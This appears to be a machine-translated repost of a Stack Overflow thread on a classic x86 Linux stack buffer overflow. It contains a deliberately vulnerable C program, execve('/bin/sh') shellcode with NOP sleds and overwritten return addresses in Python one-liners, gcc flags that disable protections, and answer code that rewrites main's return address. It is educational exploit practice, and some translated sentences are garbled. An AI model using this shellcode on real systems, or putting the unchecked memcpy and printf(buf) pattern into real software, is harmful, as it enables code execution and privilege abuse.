![](/img/trans.png)
[英]why will my buffer overflow exploit open a user shell only instead of a root shell?
[英]Why is my stack buffer overflow exploit not working?
所以我有一个非常简单的stackoverflow:
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}
我正试图溢出这段代码:
$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")
当我溢出堆栈时,我成功地用我想要的地址覆盖EIP但是没有任何反应。 它不会执行我的shellcode。
有谁看到这个问题? 注意:我的python可能是错误的。
UPDATE
我不明白的是为什么我的代码没有执行。 例如,如果我将eip指向nops,那么nops永远不会被执行。 像这样,
$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")
UPDATE
有人可以在linux x86上自己利用这个溢出并发布结果吗?
UPDATE
没关系,我把它弄好了。 感谢你的帮助。
UPDATE
好吧,我以为我做到了。 我确实得到了一个shell,但现在我又在尝试,我遇到了问题。
我正在做的就是在开始时溢出堆栈并指向我的shellcode。
像这样,
r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')
这应该指向A的。 现在我不明白为什么我的地址最后在gdb中被改变了。
这就是gdb给我的,
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()
\\ xcc变为\\ xcd。 这可能与我用gdb得到的错误有关吗?
例如,当我用“B”填充该地址时,它可以使用\\ x42 \\ x42 \\ x42 \\ x42解决。 什么给出了什么?
任何帮助,将不胜感激。
另外,我正在使用以下选项进行编译:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c
这真的很奇怪,因为除了我需要的地址之外,任何其他地址都有效。
UPDATE
我可以在gdb中成功生成带有以下内容的shell,
$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")
但是我不明白为什么它有时会起作用而在其他时候不起作用。 有时我的覆盖eip会被gdb更改。 有谁知道我错过了什么? 此外,我只能在gdb中spwan一个shell而不是正常的进程。 最重要的是,我似乎只能在gdb中启动一次shell然后gdb停止工作。
例如,现在当我运行以下内容时,我在gdb中得到了这个...
Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')
Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()
这似乎是由execstack打开引起的。
UPDATE
是的,由于某种原因,我得到了不同的结果,但这个漏洞现在正在发挥作用。 谢谢大家的帮助。 如果有人能解释我上面收到的结果,我会全力以赴。 谢谢。
对于直接来自编译器的攻击,有几种保护措施。 例如,您的堆栈可能无法执行。
readelf -l <filename>
如果你的输出包含这样的东西:
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
这意味着你只能在堆栈上读写(所以你应该“返回libc”来生成你的shell)。
还有一个金丝雀保护,这意味着你的变量和指令指针之间有一部分内存,它包含一个检查完整性的短语,如果它被你的字符串覆盖,程序将退出。
如果您在自己的程序中尝试此操作,请考虑使用gcc命令删除一些保护:
gcc -z execstack
还有关于程序集的注释,通常在shell代码之前包含nops,因此您不必定位shell代码启动的确切地址。
$(python -c "print '\\x90'*37 +'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80' + 'A'*200 + '\\xc8\\xf4\\xff\\xbf'")
请注意,在应放在指令指针内的地址中,您可以修改最后的十六进制数字以指向nops内的某个位置,而不一定位于缓冲区的开头。
当然,如果你尝试这样的话, gdb
应该成为你最好的朋友。
希望这可以帮助。
这样做不会太好[如书面说明]。 但是,这是可能的,所以请继续阅读......
有助于了解调用main
函数时实际的堆栈布局。 这比大多数人意识到的要复杂一些。
假设一个POSIX OS(例如linux),内核会将堆栈指针设置为固定地址。
内核执行以下操作:
它计算环境变量字符串需要多少空间(即所有环境变量的strlen("HOME=/home/me") + 1
,并在向下[朝向较低内存]方向将这些字符串“推”到堆栈上。然后它计算有多少(例如envcount
)并在堆栈上创建char *envp[envcount + 1]
并使用指向给定字符串的指针填充envp
值。它null终止此envp
对argv
字符串进行了类似的处理。
然后,内核加载ELF解释器。 内核使用ELF解释器的起始地址启动进程。 ELF解释器[最终]调用“start”函数(例如来自crt0.o
_start
),它执行一些init然后调用main(argc,argv,envp)
这是[类型]当main
被调用时堆栈的样子:
"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"
// alignment pad ...
char *envp[4] = {
// address of "HOME" string
// address of "LOGNAME" string
// address of "SHELL" string
NULL
};
// string for argv[0] ...
// string for argv[1] ...
// ...
char *argv[] = {
// pointer to argument string 0
// pointer to argument string 1
// pointer to argument string 2
NULL
}
// possibly more stuff put in by ELF interpreter ...
// possibly more stuff put in by _start function ...
在x86
, argc
, argv
和envp
指针值被放入x86
ABI的前三个参数寄存器中。
这是问题[问题,复数,实际上] ......
所有这一切都完成之后,你几乎不知道shell代码的地址是什么。 因此,您编写的任何代码都必须是RIP相对寻址,并且[可能]使用-fPIC
构建。
并且,结果代码中间不能有零字节,因为这[由内核]作为EOS终止字符串传送。 因此,一个具有零的字符串(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,...
)只会传输前三个字节而不是整个shell代码程序。
你也不知道堆栈指针的值是什么。
另外,你需要找到 在它的返回地址(即这是启动功能的什么堆栈中的存储器字call main
汇编指令将)。
包含返回地址的单词必须设置为shell代码的地址。 但是,它并不总是具有相对于main
堆栈帧变量(例如buf
)的固定偏移量。 因此,您无法预测要修改的堆栈上的哪个单词以获得“返回shellcode”效果。
此外,在x86
架构上,还有一些特殊的缓解硬件。 例如,页面可以标记为NX
[无执行]。 这通常针对某些段(例如堆栈)完成。 如果RIP更改为指向堆栈,则硬件将发生故障。
这是[简单]解决方案......
gcc
有一些可以提供帮助的内在函数: gcc
__builtin_return_address
, gcc
__builtin_frame_address
。
因此,从内在函数中获取实际返回地址的值[call this retadr
]。 获取堆栈帧的地址[调用此fp
]。
从fp
开始并递增(通过sizeof(void*)
)向更高的内存,找到与retadr
匹配的retadr
。 此内存位置是您要修改以指向shell代码的位置。 它可能会偏移0或8
那么,那么做: *fp = argv[1]
并返回。
注意,可能需要额外的步骤,因为如果堆栈设置了NX
位,则argv[1]
指向的字符串如上所述位于堆栈上。
以下是一些有效的示例代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
void
shellcode(void)
{
static char buf[] = "shellcode: hello\n";
char *cp;
for (cp = buf; *cp != 0; ++cp);
// NOTE: in real shell code, we couldn't rely on using this function, so
// these would need to be the CPP macro versions: _syscall3 and _syscall2
// respectively or the syscall function would need to be _statically_
// linked in
syscall(SYS_write,1,buf,cp - buf);
syscall(SYS_exit,0);
}
int
main(int argc,char **argv)
{
void *retadr = __builtin_return_address(0);
void **fp = __builtin_frame_address(0);
int iter;
printf("retadr=%p\n",retadr);
printf("fp=%p\n",fp);
// NOTE: for your example, replace:
// *fp = (void *) shellcode;
// with:
// *fp = (void *) argv[1]
for (iter = 20; iter > 0; --iter, fp += 1) {
printf("fp=%p %p\n",fp,*fp);
if (*fp == retadr) {
*fp = (void *) shellcode;
break;
}
}
if (iter <= 0)
printf("main: no match\n");
return 0;
}
尝试执行堆栈缓冲区溢出时,我遇到了类似的问题。 我发现我在GDB中的返回地址与正常流程中的返回地址不同。 我做的是添加以下内容:
unsigned long printesp(void){
__asm__("movl %esp,%eax");
}
并且在Return
之前在主右边的末尾调用它以了解堆栈的位置。 从那里我刚刚玩了这个值从打印的ESP减去4直到它工作。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.